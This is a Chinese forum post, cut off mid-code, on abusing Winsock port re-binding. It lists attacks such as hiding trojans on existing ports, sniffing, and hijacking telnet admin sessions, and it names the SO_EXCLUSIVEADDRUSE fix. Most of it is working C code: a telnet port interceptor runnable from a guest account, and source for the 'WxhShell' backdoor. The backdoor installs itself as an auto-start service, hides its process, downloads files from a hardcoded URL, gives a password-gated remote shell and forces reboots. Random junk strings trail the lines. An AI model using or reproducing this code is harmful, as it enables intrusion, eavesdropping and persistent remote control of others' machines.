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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]<o^Q[OL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Oimq P  
2\xEMec  
  saddr.sin_family = AF_INET; l\=He  
KJ6:ZTbW  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &K,rNH'R  
$olITe"$g  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \v.YP19  
8&y3oxA,  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 lJ4&kF=t  
FPuF1@K  
  这意味着什么?意味着可以进行如下的攻击: j2!^iGS}  
V34]5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 EDGAaN*Q  
p~t5PU*(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) sC RmLUD  
b@N*W]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 bdyE9t   
HNL;s5gq  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [JX=<a)U  
mr#XN&e  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 zJtB?<  
~VO?PfxZ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :eTzjW=  
pH!8vnoA  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 7`t[|o  
[yfi:|n1  
  #include qRA ,-N  
  #include xcu:'7'K[  
  #include T#G (&0J5  
  #include    IWAp  
  DWORD WINAPI ClientThread(LPVOID lpParam);   VTJ,;p_UH  
  int main() %y2 i1^  
  { { BDUl3T  
  WORD wVersionRequested; 8#~x6\!b  
  DWORD ret; pr"~W8  
  WSADATA wsaData; h*X u/aOg  
  BOOL val; -MH~1Tw6Z  
  SOCKADDR_IN saddr; 9iQc\@eGd  
  SOCKADDR_IN scaddr; w}QU;rl8q  
  int err; -D30(g{O  
  SOCKET s; w^aI1M50  
  SOCKET sc; UkXf)  
  int caddsize; /M8&`  
  HANDLE mt; oSqkAAGz\  
  DWORD tid;   79Si^n1\  
  wVersionRequested = MAKEWORD( 2, 2 ); K9N\E"6ZP  
  err = WSAStartup( wVersionRequested, &wsaData ); `!iVMTp  
  if ( err != 0 ) { G~Mxh,aD$>  
  printf("error!WSAStartup failed!\n"); .R>4'#8q  
  return -1; LIDYKKDJ^  
  } hNJubTSE+)  
  saddr.sin_family = AF_INET; ob;$yn7ZO1  
   6(.]TEu0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 hiA%Tq?  
B<uUf)t  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); H$n{|YO `  
  saddr.sin_port = htons(23); C@[f Z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WscNjWQ^TD  
  { 75t5:>"[  
  printf("error!socket failed!\n"); h\qM5Qx+Q  
  return -1; SPK% ' s  
  } )\r;|DN  
  val = TRUE; d|(@#*{T]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ")ZsY9-P  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) F~_)auH  
  { vT>ki0P_;  
  printf("error!setsockopt failed!\n"); 4{oS(Vl!  
  return -1; Yy:Q/zw o  
  } %o9;jX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; *~%# =o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 h,C?%H+/0Q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 L[FNr&  
c|^#v8x^/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) h q& 2o  
  { hJ1:#%Qe.  
  ret=GetLastError(); #4<Rs|K  
  printf("error!bind failed!\n"); *w;=o}`  
  return -1; 89{@2TXR  
  } ?~>#(Q  
  listen(s,2); (qM(~4|`  
  while(1) 3d@$iAw1<  
  { O*7Gl G  
  caddsize = sizeof(scaddr); N [iv.B  
  //接受连接请求 ,5L[M&5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]B"YW_.x2  
  if(sc!=INVALID_SOCKET) 5+[`x ']l  
  { 5U^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 406.6jmv  
  if(mt==NULL) _U`_;=(  
  { 1"Z61gXrz  
  printf("Thread Creat Failed!\n"); gM<*(=x'  
  break; aZMMcd   
  } pK~K>8\  
  } `II/nv0jn  
  CloseHandle(mt); z"C+r'39d=  
  } S4?N_"m9  
  closesocket(s); s1eGItx[w  
  WSACleanup(); m pWmExQ  
  return 0; K8UgP?c;0  
  }   BiUOjQC#  
  DWORD WINAPI ClientThread(LPVOID lpParam) .v3~2r*&  
  { YQI&8~z  
  SOCKET ss = (SOCKET)lpParam; . !|3a  
  SOCKET sc; ,\BGxGNAmV  
  unsigned char buf[4096]; XfXqq[\N  
  SOCKADDR_IN saddr; Iw0Q1bK(  
  long num; StP7t  
  DWORD val; {)QSxO  
  DWORD ret; *MEDV1l_T  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7EKQE>xj  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ? }2]G'7?  
  saddr.sin_family = AF_INET; ^&W(|R-,J&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  {u}Lhv  
  saddr.sin_port = htons(23); >6(91J  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P7Ws$7x  
  { fQ^45ulz  
  printf("error!socket failed!\n"); k2xOu9ncEj  
  return -1; 8W|qm;J98  
  } |lijnfp  
  val = 100; rU /V ~;#%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kR0d]"dr  
  { l 6;}nG  
  ret = GetLastError(); ;n Pjyu'g  
  return -1; =2z9Aq{  
  } ?{ "_9g9  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) il \q{Y o  
  { *k(>Qsb "  
  ret = GetLastError(); rN'')n/F  
  return -1; _O-ZII~  
  } E r6'Ig|U  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hYS*J908  
  { oD]riA>jC  
  printf("error!socket connect failed!\n"); :Z@!*F  
  closesocket(sc); S;vE %  
  closesocket(ss); Z[DiLXHL  
  return -1; ;c'9Xyl-  
  } 1R1DK$^c  
  while(1) FBYA d@="2  
  { 75t\= 6#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 M8 E8r  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 z#8d\X/  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  ;Q;u^T`  
  num = recv(ss,buf,4096,0); (bIg6_U7\  
  if(num>0) 2sJj -3J  
  send(sc,buf,num,0); Sn\S `D  
  else if(num==0) 7B`,q-x.  
  break; y~JCSzpU  
  num = recv(sc,buf,4096,0); a_UVb'z  
  if(num>0) `i8KIE  
  send(ss,buf,num,0); )|88wa(M  
  else if(num==0) abq$OI  
  break; ==[a7|q  
  } $ePBw~yu  
  closesocket(ss); (Z YGfX  
  closesocket(sc); H}OOkzwrA  
  return 0 ; Gu-*@C:^&  
  } 0k?ph$  
QPf#y7_@u  
vpy_piG|  
========================================================== \(PC#H%  
= dyApR:'  
下边附上一个代码,,WXhSHELL tp='PG.6  
+`_I !  
========================================================== Y!VYD_'P  
O'~c;vBI  
#include "stdafx.h" Md9b_&'  
smpz/1U  
#include <stdio.h> Fg3VD(D^U  
#include <string.h> +UxhSFU  
#include <windows.h> P&@:''  
#include <winsock2.h> Hnv{sND[  
#include <winsvc.h> 'sCj\N  
#include <urlmon.h> 8KioL{h  
N`tBDl"ld  
#pragma comment (lib, "Ws2_32.lib") ~:Jw2 P2z  
#pragma comment (lib, "urlmon.lib") Jl^Rz;bQ-  
x(/KHpSWK  
#define MAX_USER   100 // 最大客户端连接数 cSYW)c|t  
#define BUF_SOCK   200 // sock buffer sE4= 2p`x  
#define KEY_BUFF   255 // 输入 buffer HSk gS  
Y"G U"n~  
#define REBOOT     0   // 重启 AnV\{A^  
#define SHUTDOWN   1   // 关机 h 7feZ_  
Z&hzsJK{m$  
#define DEF_PORT   5000 // 监听端口 V0Cz!YM_3  
biCX: m+_?  
#define REG_LEN     16   // 注册表键长度 LFsrqdzJ  
#define SVC_LEN     80   // NT服务名长度 #"^F:: b-  
VZ?"yUZ Id  
// 从dll定义API -9XB.)\#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VtX9}<Ch~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,~ D_T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6N}>@Y5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `mro2A  
|kwBb>V  
// wxhshell配置信息 5cbtMNP  
struct WSCFG { 6&p I{  
  int ws_port;         // 监听端口 V6.xp{[  
  char ws_passstr[REG_LEN]; // 口令 m_Owe/BC#m  
  int ws_autoins;       // 安装标记, 1=yes 0=no IL?mt2IQ>  
  char ws_regname[REG_LEN]; // 注册表键名 \#P>k;D  
  char ws_svcname[REG_LEN]; // 服务名  D(}w$hi8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D];%Ey  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,6,sz]3-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4Gl0h'!(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no EG<YxNX,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j rX .e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MP|J 0=H5  
(9_~R^='y  
}; &Q>)3]|p  
X<\y%2B|l  
// default Wxhshell configuration 4\)"Ih  
struct WSCFG wscfg={DEF_PORT, 2s{PE  
    "xuhuanlingzhe", ?*i qg[:  
    1, S^,1N 4  
    "Wxhshell", I#0WN  
    "Wxhshell", W+3ZuAP\n  
            "WxhShell Service", , Vz 1l_7  
    "Wrsky Windows CmdShell Service", MHN?ZHC)  
    "Please Input Your Password: ", 74VN3m  
  1, 3[kY:5-  
  "http://www.wrsky.com/wxhshell.exe", KX e/i~AS  
  "Wxhshell.exe" W=v4dy]B  
    }; f\sxx!kt  
wYtL1D(  
// 消息定义模块 `=A*ei5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c+l1#[Dnc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; DPuz'e*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (VYY-%N`  
char *msg_ws_ext="\n\rExit."; zGrUl|j  
char *msg_ws_end="\n\rQuit."; / ,3,l^kZ  
char *msg_ws_boot="\n\rReboot..."; G=lcKtMdg  
char *msg_ws_poff="\n\rShutdown..."; Hl"qLrb4  
char *msg_ws_down="\n\rSave to "; dmHpF\P5f  
r<]Db&k   
char *msg_ws_err="\n\rErr!"; M)Iu'  
char *msg_ws_ok="\n\rOK!"; aRBTuLa)fo  
}`g:) g J  
char ExeFile[MAX_PATH]; ?{s!.U[T@  
int nUser = 0; 7 jq?zS|  
HANDLE handles[MAX_USER]; 5Xn+cw*  
int OsIsNt; 'p=5hsG  
"mbcZ5 _  
SERVICE_STATUS       serviceStatus; x{Y}1+Y4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; shbPy   
Nz`4q %+  
// 函数声明 AV0m31b  
int Install(void); nQuiRTU<  
int Uninstall(void); b#U nE  
int DownloadFile(char *sURL, SOCKET wsh); vn"2"hPF|  
int Boot(int flag); pkjf5DWp  
void HideProc(void); I@VhxJh  
int GetOsVer(void); iB[>uW  
int Wxhshell(SOCKET wsl); }m Rus<Ax  
void TalkWithClient(void *cs); > Y <in/  
int CmdShell(SOCKET sock); v?zA86d_  
int StartFromService(void); xaO9?{O  
int StartWxhshell(LPSTR lpCmdLine); Pl_4;q!$  
ZhqrN]x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rzJNHf=FVY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QUL^]6$  
@OOnO+g  
// 数据结构和表定义 %c%0pGn8-  
SERVICE_TABLE_ENTRY DispatchTable[] = =[8EQdR  
{ BZy&;P  
{wscfg.ws_svcname, NTServiceMain}, VeO$n*O  
{NULL, NULL} 3w9j~s  
}; ?bc-?<Xk  
&fJ92v?%^S  
// 自我安装 Fy|tKMhnc  
int Install(void) `IQ01FuP  
{ -"qw5Y_oF?  
  char svExeFile[MAX_PATH]; 7;dTQ.%n  
  HKEY key; uGm~ Oo  
  strcpy(svExeFile,ExeFile); Bq~!_6fB  
m1x7f% _  
// 如果是win9x系统,修改注册表设为自启动  ,lX5-1H  
if(!OsIsNt) { VuqN)CE^Uq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zx"'WM*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O$jj&  
  RegCloseKey(key); /C(lQs*l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zoXCMBg[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h&eu}aF  
  RegCloseKey(key); x\t)uM%  
  return 0; dkTj KV  
    } T"1H%65`V  
  } pKDP1S# <  
} 8Xpf|? .  
else { K8NoY6  
M<Mr L[*j  
// 如果是NT以上系统,安装为系统服务 7Iu^ l4=2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hS]g^S==2h  
if (schSCManager!=0) v3|-eWet^  
{ ;-p1z% u  
  SC_HANDLE schService = CreateService s(*L V2fa  
  ( :5!>h8p;  
  schSCManager, 7Q,9j.  
  wscfg.ws_svcname, <V?M~u[7f  
  wscfg.ws_svcdisp, DDkH`R  
  SERVICE_ALL_ACCESS, )i8Hdtn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;AV[bjRE\  
  SERVICE_AUTO_START, S,Q!Xb@  
  SERVICE_ERROR_NORMAL, K#bdb  
  svExeFile, Z;kRQ  
  NULL, )1Rn;(j9Re  
  NULL, F"2v5F@  
  NULL, mdxa^#w  
  NULL, 1e`/N+6u  
  NULL x`8rR;N!  
  ); >|%dN jf@Q  
  if (schService!=0) RUcpdeo  
  { /]H6'  
  CloseServiceHandle(schService); "]M:+mH{]  
  CloseServiceHandle(schSCManager); n%; wQ^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c$?(zt ;  
  strcat(svExeFile,wscfg.ws_svcname); PW(4-H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1iWo* +5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  W7I.S5  
  RegCloseKey(key); o>rsk 6lNi  
  return 0; :3`6P:^  
    } C/Vs+aW n  
  } Q 6djfEN>  
  CloseServiceHandle(schSCManager); OiI[w8  
} D<}z7W-  
} >hqev-   
noY~fq/U  
return 1; y<7C!E#b8  
} Ay7I_" %  
:^7P. lhK  
// 自我卸载 e?W-vi%  
int Uninstall(void) '<N^u@tF7  
{ `"CIy_m  
  HKEY key; )eFXjnHN  
$hexJzX  
if(!OsIsNt) { g ycjIy@t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W}&[p=PAS  
  RegDeleteValue(key,wscfg.ws_regname); r0ml|PX  
  RegCloseKey(key); 0* Ox>O>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EBjSK/  
  RegDeleteValue(key,wscfg.ws_regname); *_G(*yAe(  
  RegCloseKey(key); O;RsYs9  
  return 0; $OI 6^  
  } hdky:2^3  
} nulCk33x'=  
} nY(>|!  
else { F?!P7 zW  
P{ YUW~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Vfkm{*t)  
if (schSCManager!=0) H#pl&/+  
{ g)7~vm2/,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3vx5dUgl,  
  if (schService!=0) )?35!s6  
  { 6H+'ezM  
  if(DeleteService(schService)!=0) { ^%(HZ'$wC  
  CloseServiceHandle(schService); f681i(q"  
  CloseServiceHandle(schSCManager); (S1c6~  
  return 0; on?<3eED  
  } v&t~0jX,  
  CloseServiceHandle(schService); YyOPgF] M  
  } h`O"]2  
  CloseServiceHandle(schSCManager); Z05kn{<a8  
} IXE`MLc  
} ?f@g1jJP  
DONXq]f:,"  
return 1; ;pk4Voo$  
} T(LqR?xOo  
Co|3k:I 8  
// 从指定url下载文件 >< <(6  
int DownloadFile(char *sURL, SOCKET wsh) >*DR>U  
{ &PY~m<F  
  HRESULT hr; L$R"?O7  
char seps[]= "/"; { +d](+$  
char *token; +NIq}fZn9  
char *file; cd_\?7  
char myURL[MAX_PATH]; JbT+w \o  
char myFILE[MAX_PATH]; #2*l"3.$.R  
P2HR4`c  
strcpy(myURL,sURL); CPJ8G}4  
  token=strtok(myURL,seps); VaYL#\;c<  
  while(token!=NULL) Swugt"`nN  
  { f uzz3#  
    file=token; )`,||sQ  
  token=strtok(NULL,seps); f3,qDbQyJ  
  } >Z0F n  
yVF1*#"  
GetCurrentDirectory(MAX_PATH,myFILE); yV{&x  
strcat(myFILE, "\\"); G]Rb{v,r  
strcat(myFILE, file); ' i- 6JG%  
  send(wsh,myFILE,strlen(myFILE),0); gcS ?r :  
send(wsh,"...",3,0); x`7Ch3`4}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3y&N}'R(F  
  if(hr==S_OK) Fjnp0:p9X  
return 0; 'p%aHK{  
else m+66x {M2c  
return 1; %:yp>nm  
Eb 8vnB#  
} s &4k  
<x&0a$I  
// 系统电源模块 ie<zc+*rW  
int Boot(int flag) tX'`4!{@+  
{ X#;n Gq)5  
  HANDLE hToken; 4XL$I*;4  
  TOKEN_PRIVILEGES tkp; zL8Z8eh">  
G =`-w  
  if(OsIsNt) { k2bjBAT  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O|Sbe%[*wW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KGM9 b  
    tkp.PrivilegeCount = 1; ALcin))+B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +0,'B5 (E  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UCu0Xqf  
if(flag==REBOOT) { '3%JhG)#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1omjP`]|,  
  return 0; u^6@!M  
} Q#kSp8  
else { }j+Af["W?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EY$Dtb+g8  
  return 0; pm2-F]  
} F747K);_  
  } BZJ\tPSR  
  else { =*0KH##%$  
if(flag==REBOOT) { o7gYj\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w\V1pu^6@  
  return 0; h#hx(5"6  
} 0B}O&DC%|  
else { 0H$6_YX4 A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ON(OYXj  
  return 0; -FOn%7r#Y  
} @euH[<  
} %fbV\@jDCX  
<K g=?wb  
return 1; <v=$A]K  
} G3.*fSY$.<  
i2+r#Hw#5R  
// win9x进程隐藏模块 ;C ^!T  
void HideProc(void) .j et0w  
{ M&QzsVH  
?xa70Pb{;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); K20,aWBq;3  
  if ( hKernel != NULL ) /gX=79  
  { [c^!;YBp)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N F$k~r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QJ i5 H  
    FreeLibrary(hKernel); 0Cg}yyOz  
  } h 8%(,$*  
&9+]{jXF  
return; Z Zs@P#]  
} us5<18 M5  
Fe[)-_%G  
// 获取操作系统版本 h6CAd-\x\  
int GetOsVer(void) !Y8+ Z&^2  
{ GyC/39<P  
  OSVERSIONINFO winfo; F_U9;*f]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IZ/PZ"n_(  
  GetVersionEx(&winfo); =,B Dd$e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^ABt g#  
  return 1; u1}/SlCp  
  else d/8p?Km  
  return 0; "|Ke/0rGB  
} f};RtRo2  
_2-fH  
// 客户端句柄模块 *5QN:  
int Wxhshell(SOCKET wsl) f7lt|.p  
{ =:M/hM)#  
  SOCKET wsh; QGCg~TV;  
  struct sockaddr_in client; *M?[Gro/  
  DWORD myID; \?D~&d,a=  
oW5Ov  
  while(nUser<MAX_USER) 70GwTK.{~  
{ =.`:jZG  
  int nSize=sizeof(client); |Q(3rcOrV"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pqCp>BO?O  
  if(wsh==INVALID_SOCKET) return 1; C3K":JB  
!V'~<&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }ed{8"bj  
if(handles[nUser]==0) .9u0WP95  
  closesocket(wsh); 2M+}o"g  
else lC=-1*WH  
  nUser++; 9bQD"%ha=d  
  } <e?1&56  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4<j7F4  
*V`E)maU  
  return 0; M=M~M$K  
} s||c#+j"8  
R?3N><oh*  
// 关闭 socket c W1`[b  
void CloseIt(SOCKET wsh) j].=,M<dxE  
{ yMz dM&a!*  
closesocket(wsh); LE|DMz|J  
nUser--; Q\nIU7:bZ  
ExitThread(0); */APe #  
} p)qM{`]G\  
Lp7h'| ]u  
// 客户端请求句柄 0iAQ;<*xi  
void TalkWithClient(void *cs) w)XnMyD(P  
{ OcE,E6LD  
#AR$'TE#  
  SOCKET wsh=(SOCKET)cs; DO 0  
  char pwd[SVC_LEN]; R0#'t+7^  
  char cmd[KEY_BUFF]; \>\_OfY1W  
char chr[1]; J'E?Z0  
int i,j; cGSG}m@B`  
o zMn8@R  
  while (nUser < MAX_USER) { ri2`M\;gt  
+gyGA/5:d$  
if(wscfg.ws_passstr) { M9QYYo@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [w*]\x'S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S^x?<kYQau  
  //ZeroMemory(pwd,KEY_BUFF); *=}\cw\A  
      i=0; nK)hv95i_  
  while(i<SVC_LEN) { 35H.ZXQp-  
FfC\uuRe  
  // 设置超时 6zp]SPY  
  fd_set FdRead; gF2,Jm@"6  
  struct timeval TimeOut; ~_F<"40  
  FD_ZERO(&FdRead); uC! dy  
  FD_SET(wsh,&FdRead); `J$7X  
  TimeOut.tv_sec=8; M1q_gHA  
  TimeOut.tv_usec=0; KJ7-Vl>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `)tIXMn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);  \62!{  
d3]<'B:nb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >rYkVlv  
  pwd=chr[0]; P9o=G=i  
  if(chr[0]==0xd || chr[0]==0xa) { P#|}]oG%  
  pwd=0; Ck:+F+7_v  
  break; _7;D0l  
  } M2nWvU$  
  i++; ]P96-x  
    } wu.>'v?y  
z+K1[1SM  
  // 如果是非法用户,关闭 socket \iA.{,VX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9DmFa5E  
} gh-i| i,  
Ltk-1zhI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hs*n?vxp3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XFv^j SF  
]G~Z'fs<(  
while(1) { IAJ+n0U  
\b}%A&Ij  
  ZeroMemory(cmd,KEY_BUFF); e8eNef L$  
< w;49 0g  
      // 自动支持客户端 telnet标准   P}"T 3u\N  
  j=0; (sSGJS'X  
  while(j<KEY_BUFF) { ]wUH*\(y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3$9V4v@2  
  cmd[j]=chr[0]; b"nD5r  
  if(chr[0]==0xa || chr[0]==0xd) { y"|gC!V}  
  cmd[j]=0; C[,&Y&`j  
  break; K@vU_x0Sl  
  } `PT'Lakf;3  
  j++; _`. Q7  
    } !tSh9L;<O  
d+nxvh?I8  
  // 下载文件 tHEZuoi  
  if(strstr(cmd,"http://")) { I 9<%fv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @V Sr'?7-  
  if(DownloadFile(cmd,wsh)) :_h#A }8Xd  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ek60[a  
  else VV/aec8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4+Jf!ovS=  
  } 1/v#Z#3[  
  else { V0G[f}tm'  
rY M@e  
    switch(cmd[0]) { dwouw*8  
  VHG}'r9KC%  
  // 帮助 A@eR~Kp ^  
  case '?': { |_hIl(6F5N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tF6-@T\6  
    break; o%OwKp s  
  } xkQT#K=i  
  // 安装 "-Pz2QJY  
  case 'i': { P5W58WxT'  
    if(Install()) Fw8b^ew  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;u=%Vn"2a  
    else BDCyeC,Q3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p*U!94Pb  
    break; rl x6a@MiD  
    } QZ+G2$  
  // 卸载 /I:&P Pff  
  case 'r': { YRCOh:W*  
    if(Uninstall()) ByacSN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z3{Cp:Mn  
    else HP\5gLVXY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v SY YetL  
    break; 1--Ka& H  
    } _}cD_$D  
  // 显示 wxhshell 所在路径 gfKv$~  
  case 'p': { NieNfurG%  
    char svExeFile[MAX_PATH]; i7e_~K  
    strcpy(svExeFile,"\n\r"); M^lP`=sSv  
      strcat(svExeFile,ExeFile); 6`X}Z'4.Ox  
        send(wsh,svExeFile,strlen(svExeFile),0); i v.G  
    break; :x3xeVt Y  
    } 7nsovWp  
  // 重启 UjMWSPEBy  
  case 'b': { ZSr!L@S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !Sl_qL  
    if(Boot(REBOOT)) }D-jTZlC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '.jYu7   
    else { dK4w$~j{k  
    closesocket(wsh); lq mr`\@)  
    ExitThread(0); Ir=G\/A  
    } +.gj/uy*  
